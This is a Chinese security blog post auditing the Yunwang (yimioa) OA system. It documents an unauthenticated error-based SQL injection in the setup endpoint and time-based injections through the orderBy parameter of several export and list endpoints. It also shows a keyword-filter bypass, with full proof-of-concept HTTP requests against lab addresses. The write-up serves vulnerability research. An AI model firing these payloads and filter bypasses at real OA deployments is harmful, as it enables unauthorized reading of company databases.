推荐使用Windows搭建,因为idea搭建很麻烦,而且报错特别多,Windows是一键部署
一键安装,安装好了之后会提示系统已经到期了,去setup看一眼
到6月1号,不过没事,这里改系统时间就可以了
成功登录
云网OA 首先照着这里的设置,设置完了之后,导入数据库,导入之后需要改链接配置 yimioa/c-core/src/main/resources/application.properties 修改mysql连接的信息,然后启动就行
不过idea启动,BUG多,而且报错多,这里是idea静态看代码
通过apikit
的接口fuzz找到了一个可以未授权请求的接口,在代码中找到对应实现方法
前提:这个洞有个条件,就是需要小于6.1的版本,具体为什么直接上代码src/main/java/com/cloudweb/oa/controller/ApplicationController.java
上边的不需要管,具体注意下面的if(isValid)
首先是从配置里边获取版本
获取到版本6.1,然后就开始版本判断了
判断是否小于3
判断是否小于4
判断是否小于5
判断是否等于6
那么在这里利用的条件就是,版本需要在<=6的版本才可以成功 故此改一下版本
还需要再改一个位置,需要将数据库的版本也更改了,不然登录的时候会提示版本不一致,数据库与配置文件版本判断类在src/main/java/com/cloudweb/oa/service/LoginService.java
在数据库中的oa_sys_ver表中更改version字段的值即可
改完之后重启一下tomcat,随后请求指定的接口,不需要登录
POST /oa/setup/checkPool?database=test' HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2
发现这里的返回,会提示SQL语句报错
这里直接用extractvalue
把user
带出来
POC
and+(extractvalue(,concat(0x7e,(select+user()),0x7e)))--+
HTTP
POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2
POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT++FROM+(SELECT(SLEEP()))a)&sort=desc&unitCode=& HTTP/1.1
Host: 192.168.0.35:9888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.35:9888/oa/swagger-ui.html
Origin: http://192.168.0.35:9888
Connection: close
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 137
page=1&limit=20&realname_cond=0&realname=test18&sex=&sex_cond=1&dept=&dept_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=
上面的注入payload如下
id+AND+(SELECT++FROM+(SELECT(SLEEP()))a)
这里环境是idea起的,但是idea有很多报错,很多功能都无法使用,我就换成了Windows一键部署
搭建好了之后,用idea远程调试
再尝试复现这个漏洞的时候,会提示XSS拦截
当时就很好奇,为什么这是XSS拦截了,不是SQL拦截呢?看一下代码
具体的检测逻辑在SecurityUtil.java中的filter方法,来具体看这里的代码逻辑
简单说一下这里的主要就是获取request参数的值,然后挨个传给下面的检测逻辑
既然刚刚提示XSS攻击,就直接跟入antixss这个方法中查看具体实现逻辑 接下来就会来到Antixss.Java
src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java
调了antiXSS方法传入需要检测的html和一个true
直接跟进去看
查看antiXSS方法,这里传入了content就是需要检测的内容
这里就是具体的检测逻辑了,但是我这里只看了stripScriptTag
方法,因为是这个方法里面的内容检测到了,我们的关注点也只在是什么参数被检测到了
主要是通过正则的方式,并且因为CASEINSENSITIVE的关系,不区分大小写
拉到下面的时候可以看到,其实是and或者sleep被过滤了,新建一个test类,调一下就知道了
去掉AND
语句正常,放回and去掉sleep,语句正常,那么既然这样,把and换成&&,即可
语句正常返回,那么这里返回之后
回到SecurityUtil.java,就会进入SQL注入的逻辑,跟入isValidSqlParam
方法
跟入sql_inj
方法
and的检测我们已经绕过了,需要绕过第二个框中的代码逻辑
这里主要的逻辑是将inj_str使用|
分开,会生成一个列表给到inj_stra[],随后就是遍历该列表,每次循环都会使用indexOf方法判断在inj_stra[i]中的值是否在str中,也就是如果indexOf返回>0的值就存在,反之则不存在,这里也可以写个类调一下
在第六次循环也就是select的时候,被检测到了,那么很明显需要绕过select 这里本来想尝试用
&& extractvalue(,concat('~',database()))
可惜的是'~'
会被检测到XSS,所以这个方法不行
这里的&&需要转成url编码,不然这个请求会报400
所以只能在select这个关键字上想想办法,这里给出绕过的payload
id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a)
Tips:这里光看截图可能会认为那里可以用SELECT大写绕过,其实在调用sql_inj
方法前就会转成小写
所以是没有办法大写去绕过的
POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15
page=2&limit=20
首先会获取get参数code,如果code参数为空,那么就获取Get参数moduleCode并赋值给code,如果在get参数中没有moduleCode,则获取formCode复制给code,这里传进来的code参数为personbasic
继续往下看
这里是OA开发者自己实现的SQLBuilder类
跟入这个方法
跟如getModuleListSqlAndUrlStr方法,然后会返回一个sql str,继续往下走就是造成SQL注入的地方
跟进这个listResult方法
随后会把语句拼在中间
随后执行executeQuery语句
在这里也会执行一次SQL语句,与上面的区别是,一个是count拼接后的,一个是原始传进来的
随后就是返回,这里执行的时候,需要等待5秒,所以造成了注入
GET /oa/visual/exportExcel.do?code=personbasic&orderBy=id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a)&op=&sort=desc&isMine=true HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=339C404636300F5F43B74EC828919D11; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
bypass poc
%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a)
没有找到对应的web功能点,这里是直接看的静态代码接口审计
orderby,这里的参数,再往下看,因为上面人事功能点那个GET注入已经知道了getModuleListSqlAndUrlStr
方法,所以往下面看,直接orderby传进去了
所以造成了SQL注入,如果不是bypass的话,就不会存在问题了,毕竟已经把filter方法绕过了。
还是静态审计看的代码,不知道功能点
GET /oa/visual/exportWord.do?code=personbasic&orderBy=id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a) HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.16.140.186:8088/oa/lte/index.do?mainTitle=&mainPage=
Cookie: JSESSIONID=A8C9C04D3DEC6CE1C9E64CF061659723; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Upgrade-Insecure-Requests: 1
Content-Length: 2
bypass poc
id+%%+(/*!%53eLEct*/++FROM+(/*!%53eLEct*/(sleep()))a)
src/main/java/com/cloudweb/oa/controller/ModuleController.java
public void exportWord(HttpServletResponse response) throws IOException, ErrMsgException, JSONException
一眼望去,看到只需要保证ary==null即可
构造参数的时候不构造ids
这个GET
参数即可
扫描二维码推送至手机访问。
版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。
SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'